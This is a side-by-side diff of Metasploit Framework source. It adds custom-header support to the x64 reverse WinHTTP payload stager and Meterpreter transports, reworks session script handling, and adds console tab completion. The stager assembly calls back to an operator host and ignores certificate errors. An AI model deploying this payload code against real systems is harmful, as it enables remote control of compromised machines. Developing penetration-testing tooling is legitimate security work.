conf[:proxy_host] = datastore['PayloadProxyHost'] conf[:proxy_host] = ds['HttpProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort'] conf[:proxy_port] = ds['HttpProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_user] = ds['HttpProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_pass] = ds['HttpProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType'] conf[:proxy_type] = ds['HttpProxyType']
conf[:retry_count] = datastore['StagerRetryCount'] conf[:retry_count] = ds['StagerRetryCount']
conf[:proxy_ie] = datastore['PayloadProxyIE'] conf[:proxy_ie] = ds['HttpProxyIE']
conf[:custom_headers] = get_custom_headers(ds)
else else
# Otherwise default to small URIs # Otherwise default to small URIs
conf[:uri] = luri + generate_small_uri conf[:uri] = luri + generate_small_uri
@ -95,6 +97,9 @@ module Payload::Windows::ReverseWinHttp_x64
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31 space += 31
# Custom headers? Ugh, impossible to tell
space += 512
# The final estimated size # The final estimated size
space space
end end
@ -115,12 +120,18 @@ module Payload::Windows::ReverseWinHttp_x64
# Generate an assembly stub with the configured feature set and options. # Generate an assembly stub with the configured feature set and options.
# #
# @option opts [Bool] :ssl Whether or not to enable SSL # @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :uri The URI to request during staging # @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to # @option opts [String] :host The host to connect to
# @option opts [Integer] :port The port to connect to # @option opts [Integer] :port The port to connect to
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [String] :proxy_host The optional proxy server host to use
# @option opts [Integer] :proxy_port The optional proxy server port to use
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
# #
def asm_reverse_winhttp(opts={}) def asm_reverse_winhttp(opts={})
@ -169,6 +180,8 @@ module Payload::Windows::ReverseWinHttp_x64
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user]) proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass]) proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
secure_flags = ( secure_flags = (
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
@ -431,15 +444,29 @@ module Payload::Windows::ReverseWinHttp_x64
pop r9 ; dwBufferLength (4 = size of flags) pop r9 ; dwBufferLength (4 = size of flags)
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
call rbp call rbp
xor r8, r8 ; dwHeadersLen (0)
^ ^
end end
asm << %Q^ if custom_headers
winhttpsendrequest: asm << %Q^
mov rcx, rsi ; hRequest (request handle) call get_req_headers ; lpszHeaders (pointer to the custom headers)
db #{custom_headers}
get_req_headers:
pop rdx ; lpszHeaders
dec r8 ; dwHeadersLength (assume NULL terminated)
^
else
asm << %Q^
push rbx push rbx
pop rdx ; lpszHeaders (NULL) pop rdx ; lpszHeaders (NULL)
xor r8, r8 ; dwHeadersLen (0) ^
end
asm << %Q^
mov rcx, rsi ; hRequest (request handle)
xor r9, r9 ; lpszVersion (NULL) xor r9, r9 ; lpszVersion (NULL)
push rbx ; stack alignment push rbx ; stack alignment
push rbx ; dwContext (0) push rbx ; dwContext (0)

View File

@ -298,7 +298,7 @@ module Msf
# @return [String] Java payload as a JAR or WAR file # @return [String] Java payload as a JAR or WAR file
def generate_java_payload def generate_java_payload
payload_module = framework.payloads.create(payload) payload_module = framework.payloads.create(payload)
payload_module.datastore.merge!(datastore) payload_module.datastore.import_options_from_hash(datastore)
case format case format
when "raw", "jar" when "raw", "jar"
if payload_module.respond_to? :generate_jar if payload_module.respond_to? :generate_jar

View File

@ -119,7 +119,7 @@ module LDAP
domain ||= get_domain domain ||= get_domain
if domain.blank? if domain.blank?
raise RuntimeError, "Unable to find the domain to query." raise "Unable to find the domain to query."
end end
if load_extapi if load_extapi
@ -338,7 +338,7 @@ module LDAP
init_result = wldap32.ldap_sslinitA(domain, 389, 0) init_result = wldap32.ldap_sslinitA(domain, 389, 0)
session_handle = init_result['return'] session_handle = init_result['return']
if session_handle == 0 if session_handle == 0
raise RuntimeError.new("Unable to initialize ldap server: #{init_result["ErrorMessage"]}") raise "Unable to initialize ldap server: #{init_result["ErrorMessage"]}"
end end
vprint_status("LDAP Handle: #{session_handle}") vprint_status("LDAP Handle: #{session_handle}")
@ -352,7 +352,7 @@ module LDAP
bind = bind_result['return'] bind = bind_result['return']
unless bind == 0 unless bind == 0
wldap32.ldap_unbind(session_handle) wldap32.ldap_unbind(session_handle)
raise RuntimeError.new("Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}") raise "Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}"
end end
if (block_given?) if (block_given?)

View File

@ -194,7 +194,7 @@ module Msf::Post::Windows::Priv
# #
def is_high_integrity? def is_high_integrity?
il = get_integrity_level il = get_integrity_level
(il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SIDE[:system]) (il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SID[:system])
end end
# #

View File

@ -78,7 +78,7 @@ module Services
# ); # );
manag = advapi32.OpenSCManagerA(machine_str,nil,access) manag = advapi32.OpenSCManagerA(machine_str,nil,access)
if (manag["return"] == 0) if (manag["return"] == 0)
raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}") raise "Unable to open service manager: #{manag["ErrorMessage"]}"
end end
if (block_given?) if (block_given?)
@ -115,7 +115,7 @@ module Services
def open_service_handle(manager, name, access) def open_service_handle(manager, name, access)
handle = advapi32.OpenServiceA(manager, name, access) handle = advapi32.OpenServiceA(manager, name, access)
if (handle["return"] == 0) if (handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}") raise "Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}"
end end
if (block_given?) if (block_given?)
@ -267,7 +267,7 @@ module Services
when "manual" then startup_number = START_TYPE_MANUAL when "manual" then startup_number = START_TYPE_MANUAL
when "disable" then startup_number = START_TYPE_DISABLED when "disable" then startup_number = START_TYPE_DISABLED
else else
raise RuntimeError, "Invalid Startup Mode: #{mode}" raise "Invalid Startup Mode: #{mode}"
end end
end end
@ -453,7 +453,7 @@ module Services
status = advapi32.QueryServiceStatus(service_handle,28) status = advapi32.QueryServiceStatus(service_handle,28)
if (status["return"] == 0) if (status["return"] == 0)
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}") raise "Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}"
else else
ret = parse_service_status_struct(status['lpServiceStatus']) ret = parse_service_status_struct(status['lpServiceStatus'])
end end
@ -485,7 +485,7 @@ module Services
vprint_good("[#{name}] Service started") vprint_good("[#{name}] Service started")
return true return true
else else
raise RuntimeError, status raise status
end end
rescue RuntimeError => s rescue RuntimeError => s
if tried if tried

View File

@ -1,28 +0,0 @@
# -*- coding: binary -*-
#
# Provides some sanity checks against the ruby build and version
#
if(RUBY_PLATFORM == 'java')
require 'socket'
s = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP)
if(not s.respond_to?('bind'))
$stderr.puts "*** JRuby 1.5.0+ is required to use Metasploit with jRuby"
exit(0)
end
$stderr.puts "*** Warning: JRuby support is still incomplete, few things will work properly!"
trap Signal::list['INT'] do
Thread.main.raise Interrupt.new
end
s.close
end
# Check for OpenSSL and print a warning if it is not installed
begin
require 'openssl'
rescue ::LoadError
$stderr.puts "*** The ruby-openssl library is not installed, many features will be disabled!"
$stderr.puts "*** Examples: Meterpreter, SSL Sockets, SMB/NTLM Authentication, and more"
end

View File

@ -47,7 +47,7 @@ class Core
"-q" => [ false, "Quiet mode" ], "-q" => [ false, "Quiet mode" ],
"-k" => [ true, "Terminate sessions by session ID and/or range" ], "-k" => [ true, "Terminate sessions by session ID and/or range" ],
"-K" => [ false, "Terminate all sessions" ], "-K" => [ false, "Terminate all sessions" ],
"-s" => [ true, "Run a script on the session given with -i, or all" ], "-s" => [ true, "Run a script or module on the session given with -i, or all" ],
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ], "-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ],
"-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ], "-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
"-t" => [ true, "Set a response timeout (default: 15)" ], "-t" => [ true, "Set a response timeout (default: 15)" ],
@ -1107,7 +1107,7 @@ class Core
if active_module if active_module
# intentionally += and not << because we don't want to modify # intentionally += and not << because we don't want to modify
# datastore or the constant DefaultPrompt # datastore or the constant DefaultPrompt
prompt += " #{active_module.type}(%bld%red#{active_module.shortname}%clr)" prompt += " #{active_module.type}(%bld%red#{active_module.promptname}%clr)"
end end
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} ", prompt_char, true) driver.update_prompt("#{prompt} ", prompt_char, true)
@ -1180,10 +1180,10 @@ class Core
sid = val || false sid = val || false
when "-K" when "-K"
method = 'killall' method = 'killall'
# Run a script on all meterpreter sessions # Run a script or module on specified sessions
when "-s" when "-s"
unless script unless script
method = 'scriptall' method = 'script'
script = val script = val
end end
# Upload and exec to the specific command session # Upload and exec to the specific command session
@ -1389,15 +1389,11 @@ class Core
sid = nil sid = nil
end end
end end
when 'scriptall' when 'script'
unless script unless script
print_error("No script specified!") print_error("No script or module specified!")
return false return false
end end
script_paths = {}
script_paths['meterpreter'] = Msf::Sessions::Meterpreter.find_script_path(script)
script_paths['shell'] = Msf::Sessions::CommandShell.find_script_path(script)
sessions = sid ? session_list : framework.sessions.keys.sort sessions = sid ? session_list : framework.sessions.keys.sort
sessions.each do |sess_id| sessions.each do |sess_id|
@ -1413,15 +1409,13 @@ class Core
session.response_timeout = response_timeout session.response_timeout = response_timeout
end end
begin begin
if script_paths[session.type] print_status("Session #{sess_id} (#{session.session_host}):")
print_status("Session #{sess_id} (#{session.session_host}):") print_status("Running #{script} on #{session.type} session" +
print_status("Running script #{script} on #{session.type} session" + " #{sess_id} (#{session.session_host})")
" #{sess_id} (#{session.session_host})") begin
begin session.execute_script(script, *extra)
session.execute_file(script_paths[session.type], extra) rescue ::Exception => e
rescue ::Exception => e log_error("Error executing script or module: #{e.class} #{e}")
log_error("Error executing script: #{e.class} #{e}")
end
end end
ensure ensure
if session.respond_to?(:response_timeout) && last_known_timeout if session.respond_to?(:response_timeout) && last_known_timeout
@ -1443,14 +1437,9 @@ class Core
session.response_timeout = response_timeout session.response_timeout = response_timeout
end end
begin begin
if ['shell', 'powershell'].include?(session.type) session.init_ui(driver.input, driver.output)
session.init_ui(driver.input, driver.output) session.execute_script('post/multi/manage/shell_to_meterpreter')
session.execute_script('post/multi/manage/shell_to_meterpreter') session.reset_ui
session.reset_ui
else
print_error("Session #{sess_id} is not a command shell session, it is #{session.type}, skipping...")
next
end
ensure ensure
if session.respond_to?(:response_timeout) && last_known_timeout if session.respond_to?(:response_timeout) && last_known_timeout
session.response_timeout = last_known_timeout session.response_timeout = last_known_timeout
@ -2209,16 +2198,7 @@ class Core
if rh and not rh.empty? if rh and not rh.empty?
res << Rex::Socket.source_address(rh) res << Rex::Socket.source_address(rh)
else else
res << Rex::Socket.source_address res += tab_complete_source_address
# getifaddrs was introduced in 2.1.2
if Socket.respond_to?(:getifaddrs)
ifaddrs = Socket.getifaddrs.find_all do |ifaddr|
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) &&
ifaddr.addr &&
ifaddr.addr.ip?
end
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
end
end end
else else
end end

View File

@ -354,6 +354,8 @@ class Db
end end
end end
@@hosts_columns = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
def cmd_hosts(*args) def cmd_hosts(*args)
return unless active? return unless active?
::ActiveRecord::Base.connection_pool.with_connection { ::ActiveRecord::Base.connection_pool.with_connection {
@ -371,7 +373,7 @@ class Db
default_columns << 'tags' # Special case default_columns << 'tags' # Special case
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ] virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments'] col_search = @@hosts_columns
default_columns.delete_if {|v| (v[-2,2] == "id")} default_columns.delete_if {|v| (v[-2,2] == "id")}
while (arg = args.shift) while (arg = args.shift)
@ -380,7 +382,7 @@ class Db
mode << :add mode << :add
when '-d','--delete' when '-d','--delete'
mode << :delete mode << :delete
when '-c' when '-c','-C'
list = args.shift list = args.shift
if(!list) if(!list)
print_error("Invalid column list") print_error("Invalid column list")
@ -394,6 +396,10 @@ class Db
return return
end end
} }
if (arg == '-C')
@@hosts_columns = col_search
end
when '-u','--up' when '-u','--up'
onlyup = true onlyup = true
when '-o' when '-o'
@ -426,6 +432,7 @@ class Db
print_line " -a,--add Add the hosts instead of searching" print_line " -a,--add Add the hosts instead of searching"
print_line " -d,--delete Delete the hosts instead of searching" print_line " -d,--delete Delete the hosts instead of searching"
print_line " -c <col1,col2> Only show the given columns (see list below)" print_line " -c <col1,col2> Only show the given columns (see list below)"
print_line " -C <col1,col2> Only show the given columns until the next restart (see list below)"
print_line " -h,--help Show this help information" print_line " -h,--help Show this help information"
print_line " -u,--up Only show hosts which are up" print_line " -u,--up Only show hosts which are up"
print_line " -o <file> Send output to a file in csv format" print_line " -o <file> Send output to a file in csv format"
@ -1826,6 +1833,8 @@ class Db
if (path) if (path)
auth, dest = path.split('@') auth, dest = path.split('@')
(dest = auth and auth = nil) if not dest (dest = auth and auth = nil) if not dest
# remove optional scheme in database url
auth = auth.sub(/^\w+:\/\//, "") if auth
res[:user],res[:pass] = auth.split(':') if auth res[:user],res[:pass] = auth.split(':') if auth
targ,name = dest.split('/') targ,name = dest.split('/')
(name = targ and targ = nil) if not name (name = targ and targ = nil) if not name

View File

@ -164,6 +164,21 @@ class Exploit
end end
end end
def cmd_exploit_tabs(str, words)
fmt = {
'-e' => [ framework.encoders.map { |refname, mod| refname } ],
'-f' => [ nil ],
'-h' => [ nil ],
'-j' => [ nil ],
'-n' => [ framework.nops.map { |refname, mod| refname } ],
'-o' => [ true ],
'-p' => [ framework.payloads.map { |refname, mod| refname } ],
'-t' => [ true ],
'-z' => [ nil ]
}
tab_complete_generic(fmt, str, words)
end
alias cmd_run cmd_exploit alias cmd_run cmd_exploit
def cmd_exploit_help def cmd_exploit_help

View File

@ -341,6 +341,19 @@ module Msf
print_status "Payload handler running as background job #{job_id}." print_status "Payload handler running as background job #{job_id}."
end end
def cmd_handler_tabs(str, words)
fmt = {
'-h' => [ nil ],
'-x' => [ nil ],
'-p' => [ framework.payloads.map { |refname, mod| refname } ],
'-P' => [ true ],
'-H' => [ :address ],
'-e' => [ framework.encoders.map { |refname, mod| refname } ],
'-n' => [ true ]
}
tab_complete_generic(fmt, str, words)
end
end end
end end
end end

View File

@ -94,10 +94,12 @@ module Msf
print_status("Launching #{editor} #{path}") print_status("Launching #{editor} #{path}")
system(editor, path) system(editor, path)
# XXX: This will try to reload *anything* and break on modules # XXX: This will try to reload *any* .rb and break on modules
if args.length > 0 if args.length > 0 && path.end_with?('.rb')
print_status("Reloading #{path}") print_status("Reloading #{path}")
load path load path
else
print_error('Only Ruby files can be reloaded (use reload/rerun for modules)')
end end
else else
print_error('Nothing to edit -- try using a module first.') print_error('Nothing to edit -- try using a module first.')
@ -659,7 +661,7 @@ module Msf
# Update the command prompt # Update the command prompt
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true) driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.promptname}%clr) ", prompt_char, true)
end end
# #

View File

@ -13,7 +13,7 @@ module Msf
include Msf::Ui::Console::ModuleCommandDispatcher include Msf::Ui::Console::ModuleCommandDispatcher
# Load supported formats # Load supported formats
supported_formats = \ @@supported_formats = \
Msf::Simple::Buffer.transform_formats + \ Msf::Simple::Buffer.transform_formats + \
Msf::Util::EXE.to_executable_fmt_formats Msf::Util::EXE.to_executable_fmt_formats
@ -25,7 +25,7 @@ module Msf
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ], "-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
"-s" => [ true, "NOP sled length." ], "-s" => [ true, "NOP sled length." ],
"-f" => [ true, "The output file name (otherwise stdout)" ], "-f" => [ true, "The output file name (otherwise stdout)" ],
"-t" => [ true, "The output format: #{supported_formats.join(',')}" ], "-t" => [ true, "The output format: #{@@supported_formats.join(',')}" ],
"-p" => [ true, "The Platform for output." ], "-p" => [ true, "The Platform for output." ],
"-k" => [ false, "Keep the template executable functional" ], "-k" => [ false, "Keep the template executable functional" ],
"-x" => [ true, "The executable template to use" ], "-x" => [ true, "The executable template to use" ],
@ -151,6 +151,24 @@ module Msf
end end
true true
end end
def cmd_generate_tabs(str, words)
fmt = {
'-b' => [ true ],
'-E' => [ nil ],
'-e' => [ framework.encoders.map { |refname, mod| refname } ],
'-h' => [ nil ],
'-o' => [ true ],
'-s' => [ true ],
'-f' => [ :file ],
'-t' => [ @@supported_formats ],
'-p' => [ true ],
'-k' => [ nil ],
'-x' => [ :file ],
'-i' => [ true ]
}
tab_complete_generic(fmt, str, words)
end
end end
end end
end end

View File

@ -59,8 +59,8 @@ module Msf
elsif elsif
# let's check to see if it's in the scripts/resource dir (like when tab completed) # let's check to see if it's in the scripts/resource dir (like when tab completed)
[ [
::Msf::Config.script_directory + ::File::SEPARATOR + "resource", ::Msf::Config.script_directory + ::File::SEPARATOR + 'resource',
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource" ::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource'
].each do |dir| ].each do |dir|
res_path = dir + ::File::SEPARATOR + res res_path = dir + ::File::SEPARATOR + res
if ::File.exist?(res_path) if ::File.exist?(res_path)
@ -97,7 +97,7 @@ module Msf
[ [
::Msf::Config.script_directory + File::SEPARATOR + "resource", ::Msf::Config.script_directory + File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + File::SEPARATOR + "resource", ::Msf::Config.user_script_directory + File::SEPARATOR + "resource",
"." '.'
].each do |dir| ].each do |dir|
next if not ::File.exist? dir next if not ::File.exist? dir
tabs += ::Dir.new(dir).find_all { |e| tabs += ::Dir.new(dir).find_all { |e|

View File

@ -138,15 +138,6 @@ class Driver < Msf::Ui::Driver
print_error("***") print_error("***")
end end
begin
require 'openssl'
rescue ::LoadError
print_error("***")
print_error("* WARNING: No OpenSSL support. This is required by meterpreter payloads and many exploits")
print_error("* Please install the ruby-openssl package (apt-get install libopenssl-ruby on Debian/Ubuntu")
print_error("***")
end
# Register event handlers # Register event handlers
register_event_handlers register_event_handlers
@ -191,24 +182,10 @@ class Driver < Msf::Ui::Driver
end end
end end
# framework.db.active will be true if after_establish_connection ran directly when connection_established? was # framework.db.active will be true if after_establish_connection ran
# already true or if framework.db.connect called after_establish_connection. # directly when connection_established? was already true or if
if !! framework.db.error # framework.db.connect called after_establish_connection.
if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i if !!framework.db.error
print_error("***")
print_error("*")
print_error("* Metasploit now requires version 0.11 or higher of the 'pg' gem for database support")
print_error("* There a three ways to accomplish this upgrade:")
print_error("* 1. If you run Metasploit with your system ruby, simply upgrade the gem:")
print_error("* $ rvmsudo gem install pg ")
print_error("* 2. Use the Community Edition web interface to apply a Software Update")
print_error("* 3. Uninstall, download the latest version, and reinstall Metasploit")
print_error("*")
print_error("***")
print_error("")
print_error("")
end
print_error("Failed to connect to the database: #{framework.db.error}") print_error("Failed to connect to the database: #{framework.db.error}")
end end
end end
@ -250,108 +227,6 @@ class Driver < Msf::Ui::Driver
end end
end end
#
# Configure a default output path for jUnit XML output
#
def junit_setup(output_path)
output_path = ::File.expand_path(output_path)
::FileUtils.mkdir_p(output_path)
@junit_output_path = output_path
@junit_error_count = 0
print_status("Test Output: #{output_path}")
# We need at least one test success in order to pass
junit_pass("framework_loaded")
end
#
# Emit a new jUnit XML output file representing an error
#
def junit_error(tname, ftype, data = nil)
if not @junit_output_path
raise RuntimeError, "No output path, call junit_setup() first"
end
data ||= framework.inspect.to_s
e = REXML::Element.new("testsuite")
c = REXML::Element.new("testcase")
c.attributes["classname"] = "msfrc"
c.attributes["name"] = tname
f = REXML::Element.new("failure")
f.attributes["type"] = ftype
f.text = data
c << f
e << c
bname = ("msfrpc_#{tname}").gsub(/[^A-Za-z0-9\.\_]/, '')
bname << "_" + Digest::MD5.hexdigest(tname)
fname = ::File.join(@junit_output_path, "#{bname}.xml")
cnt = 0
while ::File.exist?( fname )
cnt += 1
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
end
::File.open(fname, "w") do |fd|
fd.write(e.to_s)
end
print_error("Test Error: #{tname} - #{ftype} - #{data}")
end
#
# Emit a new jUnit XML output file representing a success
#
def junit_pass(tname)
if not @junit_output_path
raise RuntimeError, "No output path, call junit_setup() first"
end
# Generate the structure of a test case run
e = REXML::Element.new("testsuite")
c = REXML::Element.new("testcase")
c.attributes["classname"] = "msfrc"
c.attributes["name"] = tname
e << c
# Generate a unique name
bname = ("msfrpc_#{tname}").gsub(/[^A-Za-z0-9\.\_]/, '')
bname << "_" + Digest::MD5.hexdigest(tname)
# Generate the output path, allow multiple test with the same name
fname = ::File.join(@junit_output_path, "#{bname}.xml")
cnt = 0
while ::File.exist?( fname )
cnt += 1
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
end
# Write to our test output location, as specified with junit_setup
::File.open(fname, "w") do |fd|
fd.write(e.to_s)
end
print_good("Test Pass: #{tname}")
end
#
# Emit a jUnit XML output file and throw a fatal exception
#
def junit_fatal_error(tname, ftype, data)
junit_error(tname, ftype, data)
print_error("Exiting")
run_single("exit -y")
end
# #
# Loads configuration that needs to be analyzed before the framework # Loads configuration that needs to be analyzed before the framework
# instance is created. # instance is created.

View File

@ -209,10 +209,10 @@ module ModuleCommandDispatcher
end end
rhost = instance.datastore['RHOST'] rhost = instance.datastore['RHOST']
rport = nil rport = instance.datastore['RPORT']
peer = rhost peer = rhost
if instance.datastore['rport'] if rport
rport = instance.rport rport = instance.rport if instance.respond_to?(:rport)
peer = "#{rhost}:#{rport}" peer = "#{rhost}:#{rport}"
end end

View File

@ -1122,7 +1122,7 @@ require 'msf/core/exe/segment_appender'
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code) to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
end end
# self.to_linux_mipsle_elf # self.to_linux_armle_elf
# #
# @param framework [Msf::Framework] # @param framework [Msf::Framework]
# @param code [String] # @param code [String]
@ -1133,6 +1133,17 @@ require 'msf/core/exe/segment_appender'
to_exe_elf(framework, opts, "template_armle_linux.bin", code) to_exe_elf(framework, opts, "template_armle_linux.bin", code)
end end
# self.to_linux_aarch64_elf
#
# @param framework [Msf::Framework]
# @param code [String]
# @param opts [Hash]
# @option [String] :template
# @return [String] Returns an elf
def self.to_linux_aarch64_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)
end
# self.to_linux_mipsle_elf # self.to_linux_mipsle_elf
# Little Endian # Little Endian
# @param framework [Msf::Framework] # @param framework [Msf::Framework]

View File

@ -108,15 +108,19 @@ private
cert_hash = "\x00" * CERT_HASH_SIZE cert_hash = "\x00" * CERT_HASH_SIZE
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash] cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
custom_headers = opts[:custom_headers] || ''
custom_headers = to_str(custom_headers, custom_headers.length + 1)
# add the HTTP specific stuff # add the HTTP specific stuff
transport_data << proxy_host # Proxy host name transport_data << proxy_host # Proxy host name
transport_data << proxy_user # Proxy user name transport_data << proxy_user # Proxy user name
transport_data << proxy_pass # Proxy password transport_data << proxy_pass # Proxy password
transport_data << ua # HTTP user agent transport_data << ua # HTTP user agent
transport_data << cert_hash # SSL cert hash for verification transport_data << cert_hash # SSL cert hash for verification
transport_data << custom_headers # any custom headers that the client needs
# update the packing spec # update the packing spec
pack << 'A*A*A*A*A*' pack << 'A*A*A*A*A*A*'
end end
# return the packed transport information # return the packed transport information

View File

@ -139,15 +139,16 @@ class ClientCore < Extension
response.each(TLV_TYPE_TRANS_GROUP) { |t| response.each(TLV_TYPE_TRANS_GROUP) { |t|
result[:transports] << { result[:transports] << {
:url => t.get_tlv_value(TLV_TYPE_TRANS_URL), :url => t.get_tlv_value(TLV_TYPE_TRANS_URL),
:comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
:retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), :retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
:retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT), :retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
:ua => t.get_tlv_value(TLV_TYPE_TRANS_UA), :ua => t.get_tlv_value(TLV_TYPE_TRANS_UA),
:proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST), :proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
:proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER), :proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
:proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS), :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH) :cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH),
:custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS)
} }
} }
@ -555,6 +556,7 @@ class ClientCore < Extension
# We cannot migrate into a process that we are unable to open # We cannot migrate into a process that we are unable to open
# On linux, arch is empty even if we can access the process # On linux, arch is empty even if we can access the process
if client.platform == 'windows' if client.platform == 'windows'
if target_process['arch'] == nil || target_process['arch'].empty? if target_process['arch'] == nil || target_process['arch'].empty?
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
end end
@ -718,7 +720,8 @@ private
# Get a reference to the currently active transport. # Get a reference to the currently active transport.
# #
def get_current_transport def get_current_transport
transport_list[:transports][0] x = transport_list
x[:transports][0]
end end
# #
@ -728,6 +731,7 @@ private
def generate_migrate_stub(target_process) def generate_migrate_stub(target_process)
stub = nil stub = nil
if client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch) if client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
t = get_current_transport t = get_current_transport

View File

@ -102,7 +102,8 @@ TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441 TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442
